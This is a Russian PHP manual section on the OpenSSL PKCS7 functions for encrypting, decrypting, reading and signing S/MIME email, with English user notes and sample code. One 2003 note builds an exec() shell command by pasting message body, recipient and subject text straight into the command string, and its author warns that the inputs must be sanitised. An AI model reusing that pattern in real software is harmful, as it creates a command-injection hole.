OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null
): bool

Расшифровывает сообщение, зашифрованное S/MIME, содержащееся в файле input_filename, с использованием сертификата certificate и соответствующего закрытого ключа private_key.

Список параметров

input_filename

output_filename

Расшифрованное сообщение будет записано в файл output_filename.

certificate

private_key

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_pkcs7_decrypt()

<?php
// $cert и $key содержат пару с личным сертификатом и закрытым ключом
$infilename = "encrypted.msg"; // в этом файле зашифрованное сообщение
$outfilename = "decrypted.msg"; // убедитесь, что у вас есть права на запись

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
echo "расшифровано!";
} else {
echo "возникла ошибка при расшифровке!";
}
?>

User Contributed Notes

oliver at anonsphere dot com 28-Apr-2011 09:16
If you want to decrypt a received email, keep in mind that you need the full encrypted message including the mime header.

<?php

// Get the full message
$encrypted = imap_fetchmime($stream, $msg_number, "1", FT_UID);
$encrypted .= imap_fetchbody($stream, $msg_number, "1", FT_UID);

// Write the needed temporary files
$infile = tempnam("", "enc");
file_put_contents($infile, $encrypted);
$outfile = tempnam("", "dec");

// The certification stuff
$public = file_get_contents("/path/to/your/cert.pem");
$private = array(file_get_contents("/path/to/your/cert.pem"), "password");

// Ready? Go!
if(openssl_pkcs7_decrypt($infile, $outfile, $public, $private))
{
    // Decryption successful
    echo file_get_contents($outfile);
}
else
{
    // Decryption failed
    echo "Oh oh! Decryption failed!";
}

// Remove the temp files
@unlink($infile);
@unlink($outfile);

?>


Шифрует сообщение S/MIME

  • « openssl_pkcs7_decrypt
  • openssl_pkcs7_read »
  • PHP Manual
  • Функции OpenSSL
  • Шифрует сообщение S/MIME

openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_encrypt — Шифрует сообщение S/MIME

Описание

openssl_pkcs7_encrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|array|string $certificate,
?array $headers,
int $flags = 0,
int $cipher_algo = OPENSSL_CIPHER_AES_128_CBC
): bool

openssl_pkcs7_encrypt() читает сообщение из файла input_filename, шифрует его с помощью 40-битного RC2 шифра таким образом, что расшифровать его могут только получатели, указанными в certificate.

Список параметров

input_filename

output_filename

certificate

Массив, либо единичный сертификат X.509.

headers

headers задаётся массивом заголовков, которые будут добавлены в начало сообщения перед шифрованием.

headers может быть как ассоциативным массивом, где в качестве ключей используются имена заголовков, либо индексированным массивом, содержащим полные строки заголовков.

flags

flags используется для настройки процесса шифрования. Смотрите Константы PKCS7.

cipher_algo

Одна из констант шифров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Алгоритм шифрования по умолчанию (cipher_algo) теперь AES-128-CBC (OPENSSL_CIPHER_AES_128_CBC). Ранее использовался алгоритм PKCS7/CMS (OPENSSL_CIPHER_RC2_40).
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_pkcs7_encrypt()

<?php
// Сообщение, которое вы хотите зашифровать и отправить своему секретному
// агенту с позывным Козодой. У вас есть его сертификат в файле nighthawk.pem
$data = <<<EOD
Козодой,

Совершенно секретно! После прочтения сжечь!

Враги приближаются! Связной с новым поддельным паспортом
будет ждать тебя завтра в кафе в 8.30 утра.

Пароль - "У вас ус отклеился!"
Отзыв - "Это не ус, а борода!"

EOD;

// загружаем ключ
$key = file_get_contents("nighthawk.pem");

// записываем сообщение в файл
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// шифруем
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
array("To" => "nighthawk@example.com", // ассоциативный синтаксис
"From: HQ <hq@example.com>", // индексированный синтаксис
"Subject" => "СРОЧНО!!! ВАЖНО!!!"))) {
// сообщение зашифровано - отправляем!!
exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

User Contributed Notes

Matthias Barkhausen 23-Apr-2020 12:34
To successfully sign and encrypt an plain text E-Mail to send to and to be able to read by Outlook and iOS Mail you need to first sign w/o headers and use the PKCS7_TEXT constant, then encrypt with headers and cipherid 3DES, then send with sendmail/ssmtp with -t option.

Reason for 3DES ist that iOS (or Apple in general) doesnt further accept the RC40 default encryption openssl-pkcs7-encrypt is using. Outlook would decrypt such encryption, but iOS Mail just said "this mail has no content" and "install a profile containing your identity...".

$headers = array("To" => ...,
         "From" => ...,
         "Subject" => ...);

openssl_pkcs7_sign("msg.txt","signed.txt", $mMyCertFileToIncludeForRecipient,array($mMyPrivKeyFileAsPEM, "passphrase"),array(),PKCS7_TEXT);

openssl_pkcs7_encrypt("signed.txt","enc.txt",$pubkeyContents,$headers,0,OPENSSL_CIPHER_3DES);

shell_exec("ssmtp -t < enc.txt") #sendmail same syntax
Anonymous 28-Mar-2016 09:07
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]
Anonymous 13-Mar-2012 02:37
To build on what people have already done, below is a function that takes a from address, an array of e-mails/public keys, a subject, and a message and sends out an encrypted message using the appropriate public key.

Since we're sending an encrypted message, the assumption is that what we're sending is actually critical. As a result the files used for sending the message are immediately shredded.

$recipients = Array("user@example.com"=>file_get_contents("cert.pem"));
$body = 'secret text';
   sendSignedMail("me@examplel.com", $recipients, "Test Message", $body);

  //Recepients is an array of e-mail address=>Key
  function sendSignedMail($from, $recepients, $subject, $body){
    foreach($recepients AS $email=>$key){
      $tfn_in = tempnam("/tmp", "b");
      $tfn_out = tempnam("/tmp", "e");

      $handle = fopen($tfn_in, "w");
      fwrite($handle, $body);
      fclose($handle);

      openssl_pkcs7_encrypt($tfn_in, $tfn_out, $key,
          array("To" => $email,
                "From" => $from,
                "Subject" => $subject), 0);
      $data = file_get_contents($tfn_out);

      //Shred the files since this is sensitive data.
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_in", 'r');
      pclose($handle);
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_out", 'r');
      pclose($handle);

      $parts = explode("\n\n", $data, 2);//Fixes headers in mail function

      mail($email, $subject, $parts[1], $parts[0]);

    }

  }
Ryan Schaffner 01-Feb-2012 08:16
After tinkering around for about an hour, I found this that might help someone.  When you export your certificate, make sure it is a base-64 certificate, as the DER-encoded cannot be read by these functions.  Windows want's to default to DER.  IT MUST BE Base-64 cert for these to work.
1matqo1 at azet dot sk 04-Mar-2010 02:30
For everyone who spent lots of time trying to encrypt multipart/alternative emailwith no success:

1.) put complete email (header together with body) into file to encrypt as in example from koen:
<?php
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);
?>

2.) headers array sent to openssl_pkcs7_encrypt can`t contain some of headers, it conflicts/doubles and some clients have problems with it - i.e. Thunderbird don`t show you email body. For me worked headers: "Subject", "To", "From", "Reply-To", "Date","Return-Receipt","Message-ID","CC", "X-Priority", "X-Mailer"

one more thing - if your public key for encryption is not working, check if you are sending certificate with key, not only pure key(must be certificate)

Good luck to everyone, its a little bit hard because of small amount of documentation which is sometimes confusing...
koen dot thomeer at pubmed dot be 16-Jul-2008 06:15
In the previous example, the decrypted message couldn't be read by the 'popular' mail clients. Those mail clients needed also headers in the encrypted part.

I also noticed that there were some double headers in the previous example ('To:' and 'Subject:' were not overriden by the Headers parameter in mail()). This is also corrected by unsetting 'To:' and 'Subject:' in $headers_msg.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Header for encrypted part
$eol = "\r\n";
$enc_header .= "From: ".$headers['From'].$eol;
$enc_header .= "To: ".$headers['To'].$eol;
$enc_header .= "Subject: ".$headers['Subject'].$eol;
$enc_header .= "Content-Type: text/plain; format=flowed; charset=\"iso-8859-1\"; reply-type=original".$eol;
$enc_header .= "Content-Transfer-Encoding: 7bit".$eol;
$enc_header .= "\n";

// Prepend header for encrypted message
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("msg.txt", "enc.txt",$pubkey,$headers_msg,0,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);
?>
bob at bobscheffler dot com 04-Aug-2005 05:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com 16-Mar-2005 03:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com 12-Aug-2004 11:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com 15-Oct-2003 05:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
    array("To" => "nighthawk@example.com",
          "From" => "HQ <hq@example.com>",
          "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com 15-Oct-2003 05:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 08:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net 03-May-2003 01:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com 28-May-2002 12:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com 25-Apr-2002 03:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]


Экспортировать файл PKCS7 в массив сертификатов PEM

  • « openssl_pkcs7_encrypt
  • openssl_pkcs7_sign »
  • PHP Manual
  • Функции OpenSSL
  • Экспортировать файл PKCS7 в массив сертификатов PEM

openssl_pkcs7_read

(PHP 7 >= 7.2.0, PHP 8)

openssl_pkcs7_read — Экспортировать файл PKCS7 в массив сертификатов PEM

Описание

openssl_pkcs7_read(string $data, array &$certificates): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Строка данных, которые вы хотите проанализировать (формат p7b).

certificates

Массив сертификатов PEM из входных данных p7b.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Получение массива PEM из файла P7B

<?php

$file = 'certs.p7b';

$f = file_get_contents($file);
$p7 = array();
$r = openssl_pkcs7_read($f, $p7);

if ($r === false) {
printf("ОШИБКА: %s не является корректным файлом p7b".PHP_EOL, $file);
for($e = openssl_error_string(), $i = 0; $e; $e = openssl_error_string(), $i++)
printf("SSL l%d: %s".PHP_EOL, $i, $e);
exit(1);
}

print_r($p7);
?>

Смотрите также

  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

There are no user contributed notes for this page.


Подписать сообщение S/MIME

  • « openssl_pkcs7_read
  • openssl_pkcs7_verify »
  • PHP Manual
  • Функции OpenSSL
  • Подписать сообщение S/MIME

openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_sign — Подписать сообщение S/MIME

Описание

openssl_pkcs7_sign(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
?array $headers,
int $flags = PKCS7_DETACHED,
?string $untrusted_certificates_filename = null
): bool

openssl_pkcs7_sign() берет содержимое файла input_filename и подписывает его с использованием сертификата certificate и закрытого ключа private_key.

Список параметров

input_filename

Файл, который нужно подписать.

output_filename

Файл, в который будет записана цифровая подпись.

certificate

Сертификат X.509, который будет использован для подписи input_filename. Смотрите параметры ключа/сертификата.

private_key

private_key задаётся секретным ключом, соответствующим сертификату (certificate). Смотрите параметры открытого/секретного ключа.

headers

headers задаётся массивом заголовков, которые будут добавлены в начало данных после подписания. (смотрите openssl_pkcs7_encrypt() для получения дополнительной информации о формате этого параметра).

flags

flags используется для настройки вывода. Смотрите константы PKCS7.

untrusted_certificates_filename

untrusted_certificates_filename может содержать имя файла, в котором хранятся дополнительные сертификаты для добавления их к подписи, например для облегчения верификации подписи разными пользователями.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key or OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_pkcs7_sign()

<?php
// сообщение, которое вы хотите подписать для того, чтобы получатели могли
// проверить, что его послали именно вы
$data = <<<EOD

Разрешаю потратить на обед с контрагентом не более 100,000 рублей.

Ваш директор.
EOD;
// сохраняем сообщение в фалй
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// шифруем
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "file://mycert.pem",
array("file://mycert.pem", "mypassphrase"),
array("To" => "joes@example.com", // ассоциативный синтаксис
"From: HQ <ceo@example.com>", // индексированный синтаксис
"Subject" => "Представительские расходы")
)) {
// сообщение подписано - отправляем!
exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

User Contributed Notes

spam at isag dot melbourne 08-Oct-2019 12:23
If you want to use mail() with headers, then you'll need to alter the signed version before embedding in the body or the headers and boundaries will end up in the message.

<?php
openssl_pkcs7_sign($basedir . 'email.txt', $basedir . 'signed.txt', 'file://' . $basedir . 'cert.pem', array('file://' . $basedir . 'key.pem', $keypass), array('To' => $smime_to, 'From' => $smime_from, 'Subject' => $smime_subject));
if (preg_match('/To: [^\r\n]+(\r|\n)+(From: [^\r\n]+(\r|\n)+)Subject: [^\r\n]+(\r|\n)+MIME-Version: [^\r\n]+(\r|\n)+(Content-Type: [^\r\n]+)(\r|\n)+/', file_get_contents($basedir . 'signed.txt'), $matches))
{
    $result = mail($smime_to, $smime_subject, str_replace($matches[0], '', file_get_contents($basedir . 'signed.txt')), $mailheaders . $matches[2] . $matches[6]);
}
?>

With the signed headers removed ($matches[0]) and the headers updated with From (not part of mail()) and Content-Type ($matches[2] / $matches[6] respectively).
jcmichot at usenet-fr dot net 22-Nov-2017 07:12
Due to lack of example the following code may be useful to some.

# Demo code for openssl_pkcs7_sign() and openssl_pkcs7_encrypt() to sign and encrypt for Paypal EWP.
#
# generate and self sign certificat
# % openssl genrsa -out my-private-key.pem 2048
# % openssl req -new -key my-private-key.pem -x509 -days 3650 -out my-public-key.pem
#

function demo_paypal_encrypt( $webform_hash )
{
    $MY_PUBLIC_KEY = "file:///usr/local/etc/paypal/my-public-key.pem";
    $MY_PRIVATE_KEY = "file:///usr/local/etc/paypal/my-private-key.pem";
    $PAYPAL_PUBLIC_KEY = "file:///usr/local/etc/paypal/paypal_cert_pem.txt";

    //Assign Build Notation for PayPal Support
    $webform_hash['bn']= 'MyWebRef.PHP_EWP2';

    $data = "";
    foreach ($webform_hash as $key => $value)
        if ($value != "")
            $data .= "$key=$value\n";

    $file_msg = sprintf( "/tmp/pp-msg-%d.txt", getmypid() );
    $file_sign = sprintf( "/tmp/pp-sign-%d.mpem", getmypid() );
    $file_bsign = sprintf( "/tmp/pp-sign-%d.der", getmypid() );
    $file_enc = sprintf( "/tmp/pp-enc-%d.txt", getmypid() );

    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    $fp = fopen( $file_msg, "w" );
    if ( $fp ) {
        fwrite($fp, $data );
        fclose($fp);
        }

    // sign part of html form message
    openssl_pkcs7_sign(
        $file_msg,
        $file_sign,
        $MY_PUBLIC_KEY,
        array( $MY_PRIVATE_KEY, "" ), /// private key, password
        array(),
        PKCS7_BINARY
        );

    // convert PEM to DER
    $pem_data = file_get_contents( $file_sign );
    $begin = "Content-Transfer-Encoding: base64";
    $pem_data = trim( substr($pem_data, strpos($pem_data, $begin)+strlen($begin)) );
    $der = base64_decode( $pem_data );

    $fp = fopen( $file_bsign, "w" );
    if ( $fp ) {
        fwrite($fp, $der );
        fclose($fp);
        }

    // you could verify correct DER signature by:
    // % openssl smime -verify -CAfile $MY_PUBLIC_KEY -inform DER -in $file_bsign

    //encrypt the message, with Paypal public key
    openssl_pkcs7_encrypt(
        $file_bsign,
        $file_enc,
        $PAYPAL_PUBLIC_KEY,
        array(),
        PKCS7_BINARY,
        OPENSSL_CIPHER_3DES  );

    $data = file_get_contents( $file_enc );
    $data = substr($data, strpos($data, $begin)+strlen($begin));
    $data = "-----BEGIN PKCS7-----\n".  trim( $data ) . "\n-----END PKCS7-----";

    // cleanup
    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    return( $data );
}
Anonymous 08-Feb-2013 04:35
A note about the $flags parameter: PKCS7_BINARY has 2 effects:
* converts LF to CR+LF, as described in http://www.php.net/manual/en/openssl.pkcs7.flags.php
* it creates an opaque pkcs7 signature (p7m)

If you want to prevent the LF->CR+LF conversion *and* still have a detached signature (p7s), use PKCS7_BINARY | PKCS7_DETACHED (both flags are set).

If the signed message is already MIME multi-part, using both flags as described above seems to be the right solution to assemble the message properly. Without any flags, apparently only some of the LF characters are converted. In a specific scenario (the local MTA is Postfix and then the message goes through sendmail on another machine), the MIME boundaries get scrambled in sendmail. However, this doesn't seem to happen if the local MTA is sendmail.
ungdi at hotmail dot com 11-Feb-2010 05:34
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?php
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
